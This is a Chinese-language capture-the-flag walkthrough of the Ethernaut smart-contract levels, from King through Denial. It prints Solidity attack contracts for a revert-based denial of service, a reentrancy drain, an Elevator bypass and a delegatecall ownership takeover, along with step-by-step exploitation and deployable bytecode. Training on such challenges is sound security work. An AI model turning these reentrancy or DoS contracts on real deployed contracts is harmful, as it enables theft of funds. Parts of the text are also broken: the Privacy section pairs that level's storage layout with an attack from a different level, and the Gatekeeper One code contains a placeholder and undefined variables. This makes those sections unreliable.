Ethernaut智能合约闯关全解析（下）

King关卡解析

关卡要求

• 目标：阻止合约回退，使攻击合约永久成为国王

合约分析

contract King is Ownable {
    address public king;
    uint public prize;
    
    function King() public payable {
        king = msg.sender;
        prize = msg.value;
    }
    
    function() external payable {
        require(msg.value >= prize || msg.sender == owner);
        king.transfer(msg.value);
        king = msg.sender;
        prize = msg.value;
    }
}

攻击原理

1. 当新国王产生时，原国王会收到奖金
2. 如果攻击合约拒绝接收奖金（通过revert()），就能永久保持国王地位

攻击合约

contract attack {
    function attack(address _addr) public payable {
        _addr.call.gas(10000000).value(msg.value)();
    }
    
    function() public {
        revert();
    }
}

攻击步骤

1. 获取实例并查看当前prize值和king地址
2. 部署攻击合约
3. 调用攻击合约成为新国王
4. 提交实例验证

Re-entrancy关卡解析

关卡要求

• 目标：盗取合约中的所有代币

合约漏洞

function withdraw(uint _amount) public {
    if(balances[msg.sender] >= _amount) {
        if(msg.sender.call.value(_amount)()) {
            _amount;
        }
        balances[msg.sender] -= _amount;
    }
}

• 使用call.value()发送以太币后才更新余额
• 攻击者可在fallback函数中递归调用withdraw

攻击合约

contract ReentrancePoc {
    Reentrance reInstance;
    
    function ReentrancePoc(address _addr) public {
        reInstance = Reentrance(_addr);
    }
    
    function callDonate() public payable {
        reInstance.donate.value(msg.value)(this);
    }
    
    function attack() public {
        reInstance.withdraw(1 ether);
    }
    
    function() public payable {
        if(address(reInstance).balance >= 1 ether){
            reInstance.withdraw(1 ether);
        }
    }
}

攻击步骤

1. 获取实例并记录合约地址
2. 部署攻击合约
3. 向攻击合约地址捐赠1 ether
4. 调用attack函数实施重入攻击
5. 提交实例验证

Elevator关卡解析

关卡要求

• 目标：绕过限制使top变为true

合约分析

contract Elevator {
    bool public top;
    uint public floor;
    
    function goTo(uint _floor) public {
        Building building = Building(msg.sender);
        if (!building.isLastFloor(_floor)) {
            floor = _floor;
            top = building.isLastFloor(floor);
        }
    }
}

攻击原理

• goTo函数调用了两次isLastFloor
• 构造取反函数使第一次返回false，第二次返回true

攻击合约

contract BuildingEXP {
    Elevator ele;
    bool t = true;
    
    function isLastFloor(uint) view public returns (bool) {
        t = !t;
        return t;
    }
    
    function attack(address _addr) public {
        ele = Elevator(_addr);
        ele.goTo(5);
    }
}

攻击步骤

1. 获取实例并查看初始top值
2. 部署攻击合约
3. 调用attack函数传入合约地址
4. 验证top已变为true
5. 提交实例

Privacy关卡解析

关卡要求

• 目标：将locked状态从true改为false

存储布局分析

slot 0: bool locked (1字节) + 填充
slot 1: uint256 ID (不存储，因为是constant)
slot 2: uint8 flattening (1字节) + uint8 denomination (1字节) + uint16 awkwardness (2字节) + 填充
slot 3: bytes32[3] data

攻击原理

• 通过结构体重定义覆盖存储
• 传入_name为bytes32(1)会覆盖slot 0

攻击步骤

1. 获取实例
2. 调用register函数传入bytes32(1)和任意地址
3. 验证locked已变为false
4. 提交实例

Gatekeeper One关卡解析

关卡要求

• 绕过三个修饰器的限制

三个条件

1. gateOne: msg.sender != tx.origin（通过中间合约）
2. gateTwo: msg.gas % 8191 == 0（需调试找到合适gas值）
3. gateThree:
   • uint32(_gateKey) == uint16(_gateKey)
   • uint32(_gateKey) != uint64(_gateKey)
   • uint32(_gateKey) == uint16(tx.origin)

攻击合约

contract Attack {
    function hack() public {
        target.call.gas(适当的gas)(bytes4(keccak256("enter(bytes8)")), _gateKey);
    }
}

Gatekeeper Two关卡解析

三个条件

1. gateOne: msg.sender != tx.origin（通过中间合约）
2. gateTwo: extcodesize(caller) == 0（在构造函数中调用）
3. gateThree: uint64(keccak256(msg.sender)) ^ uint64(_gateKey) == uint64(0) - 1

攻击合约

contract attack {
    function attack(address param) {
        GatekeeperTwo a = GatekeeperTwo(param);
        bytes8 _gateKey = bytes8((uint64(0) - 1) ^ uint64(keccak256(this)));
        a.enter(_gateKey);
    }
}

Naught Coin关卡解析

关卡要求

• 绕过时间锁转移所有代币

攻击原理

• 利用未重写的transferFrom函数
• 先approve再transferFrom

攻击步骤

1. 调用approve授权自己
2. 调用transferFrom转移代币
3. 提交实例

Preservation关卡解析

关卡要求

• 获取合约的owner权限

攻击原理

• 通过delegatecall修改timeZone1Library为攻击合约地址
• 再次调用修改owner

攻击合约

contract PreservationPoc {
    function setTime(uint _time) public {
        owner = address(_time);
    }
}

攻击步骤

1. 调用setSecondTime设置攻击合约地址
2. 调用setFirstTime设置owner地址
3. 提交实例

Recovery关卡解析

关卡要求

• 从丢失的合约地址中恢复0.5 ether

攻击原理

• 通过交易哈希查找创建的SimpleToken合约地址
• 调用destroy函数回收资金

攻击步骤

1. 从交易记录中找到合约地址
2. 调用destroy函数
3. 提交实例

MagicNumber关卡解析

关卡要求

• 提供最多10个操作码的合约返回42

解决方案

var bytecode = "0x600a600c600039600a6000f3602A60805260206080f3";
web3.eth.sendTransaction({from: player, data: bytecode}, function(err, res){});
await contract.setSolver("合约地址");

Alien Codex关卡解析

关卡要求

• 获取合约的所有权

攻击原理

1. 通过数组长度下溢获得对整个存储的写权限
2. 计算owner存储位置并覆盖

攻击步骤

1. 调用make_contact绕过contact检查
2. 调用retract使数组长度下溢
3. 计算owner存储位置并覆盖
4. 提交实例

Denial关卡解析

关卡要求

• 造成DOS使owner无法提取资产

攻击原理

• 通过重入攻击耗尽gas

攻击合约

contract Attack {
    function() payable public {
        target.withdraw();
    }
}

总结

本教学文档详细分析了Ethernaut各个关卡的智能合约漏洞及攻击方法，关键点包括：

1. 拒绝服务攻击（King）
2. 重入漏洞（Re-entrancy）
3. 状态变量覆盖（Privacy）
4. 委托调用风险（Preservation）
5. 存储布局操作（Alien Codex）
6. 低级别字节码操作（MagicNumber）

每个攻击都展示了智能合约开发中需要注意的安全问题，开发者应特别注意：

• 外部调用顺序
• 状态变量更新时机
• 存储布局设计
• 算术运算安全性
• 权限控制机制

通过实践这些关卡，可以深入理解以太坊智能合约的安全机制和常见漏洞模式。